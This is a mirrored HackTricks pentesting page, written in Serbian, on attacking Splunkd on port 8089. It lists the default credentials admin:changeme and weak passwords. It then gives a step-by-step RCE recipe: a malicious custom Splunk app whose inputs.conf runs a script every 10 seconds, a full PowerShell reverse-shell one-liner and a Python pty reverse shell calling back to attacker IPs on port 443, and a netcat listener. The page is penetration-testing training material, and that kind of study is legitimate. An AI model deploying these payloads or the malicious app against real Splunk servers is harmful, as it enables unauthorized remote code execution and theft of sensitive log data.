mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 06:12:55 +00:00
138 lines
8.6 KiB
Markdown
138 lines
8.6 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
## **Osnovne informacije**
|
|
|
|
Splunk je alat za **analizu logova** koji igra ključnu ulogu u **prikupljanju, analiziranju i vizualizaciji podataka**. Iako mu prvobitna svrha nije bila da služi kao alat za **SIEM (Security Information and Event Management)**, stekao je popularnost u oblasti **monitoringa bezbednosti** i **poslovne analitike**.
|
|
|
|
Splunk implementacije se često koriste za skladištenje **osetljivih podataka** i mogu poslužiti kao **vredan izvor informacija** za potencijalne napadače ako uspeju da kompromituju sistem. **Podrazumevani port:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
**Splunk veb server podrazumevano radi na portu 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumeracija
|
|
|
|
### Besplatna verzija
|
|
|
|
Splunk Enterprise probna verzija prelazi u **besplatnu verziju nakon 60 dana**, koja **ne zahteva autentikaciju**. Nije neuobičajeno da sistem administratori instaliraju probnu verziju Splunk-a kako bi je testirali, koja se **kasnije zaboravi**. Ovo će automatski preći u besplatnu verziju koja nema nikakav oblik autentikacije, uvodeći sigurnosnu rupu u okruženje. Neke organizacije mogu odabrati besplatnu verziju zbog ograničenja budžeta, ne shvatajući potpuno posledice nemogućnosti upravljanja korisnicima/ulogama.
|
|
|
|
### Podrazumevane akreditacije
|
|
|
|
Na starijim verzijama Splunk-a, podrazumevane akreditacije su **`admin:changeme`**, koje su prikladno prikazane na stranici za prijavljivanje.\
|
|
Međutim, **najnovija verzija Splunk-a** postavlja **akreditacije** **tokom procesa instalacije**. Ako podrazumevane akreditacije ne funkcionišu, vredi proveriti uobičajene slabe lozinke poput `admin`, `Welcome`, `Welcome1`, `Password123`, itd.
|
|
|
|
### Dobijanje informacija
|
|
|
|
Nakon prijavljivanja na Splunk, možemo **pregledati podatke**, pokrenuti **izveštaje**, kreirati **kontrolne table**, **instalirati aplikacije** iz Splunkbase biblioteke, i instalirati prilagođene aplikacije.\
|
|
Takođe možete pokrenuti kod: Splunk ima više načina za **pokretanje koda**, kao što su serverske Django aplikacije, REST endpointi, skriptovani ulazi i skripte za upozorenja. Čest način dobijanja izvršenja koda na udaljenom Splunk serveru je kroz korišćenje skriptovanog ulaza.
|
|
|
|
Osim toga, pošto se Splunk može instalirati na Windows ili Linux hostovima, skriptovani ulazi mogu biti kreirani da pokreću Bash, PowerShell ili Batch skripte.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Kreiranje prilagođene aplikacije
|
|
|
|
Prilagođena aplikacija može pokretati **Python, Batch, Bash ili PowerShell skripte**.\
|
|
Imajte na umu da **Splunk dolazi sa instaliranim Python-om**, tako da čak i na **Windows** sistemima možete pokrenuti python kod.
|
|
|
|
Možete koristiti [**ovo**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paket da nam pomogne. **`bin`** direktorijum u ovom repozitorijumu ima primere za [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Hajde da prođemo kroz ovo korak po korak.
|
|
|
|
Da bismo postigli ovo, prvo moramo kreirati prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Direktorijum **`bin`** će sadržati sve **skripte koje nameravamo da pokrenemo** (u ovom slučaju, **PowerShell** reverse shell), a podrazumevani direktorijum će imati naš `inputs.conf` fajl. Naš reverse shell će biti **PowerShell jednolinijski:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Fajl [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) govori Splunku **koji skript da pokrene** i o bilojim drugim uslovima. Ovde postavljamo aplikaciju kao omogućenu i govorimo Splunku da pokrene skriptu svakih 10 sekundi. Interval je uvek izražen u sekundama, a ulaz (skripta) će se pokrenuti samo ako je ovaj parametar prisutan.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Potreban nam je `.bat` fajl, koji će se pokrenuti kada se aplikacija implementira i izvršiti PowerShell jednolinijski nalog.
|
|
|
|
Sledeći korak je odabrati `Instaliraj aplikaciju iz fajla` i otpremiti aplikaciju.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Pre otpremanja zlonamerne prilagođene aplikacije, pokrenimo slušaoca koristeći Netcat ili [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Na stranici `Upload app`, kliknite na browse, izaberite tarball koji smo ranije kreirali i kliknite na `Upload`. Čim **uploadujemo aplikaciju**, **dobijamo reverse shell** jer će se status aplikacije automatski promeniti na `Enabled`.
|
|
|
|
#### Linux
|
|
|
|
Ako bismo imali posla sa **Linux hostom**, morali bismo **urediti Python skriptu `rev.py`** pre nego što kreiramo tarball i uploadujemo prilagođenu zlonamernu aplikaciju. Ostatak procesa bi bio isti, i dobili bismo reverse shell konekciju na naš Netcat listener i krenuli u akciju.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Eskalacija privilegija
|
|
|
|
Na sledećoj stranici možete pronaći objašnjenje kako se ovaj servis može zloupotrebiti radi eskalacije privilegija i postizanja postojanosti:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Reference
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|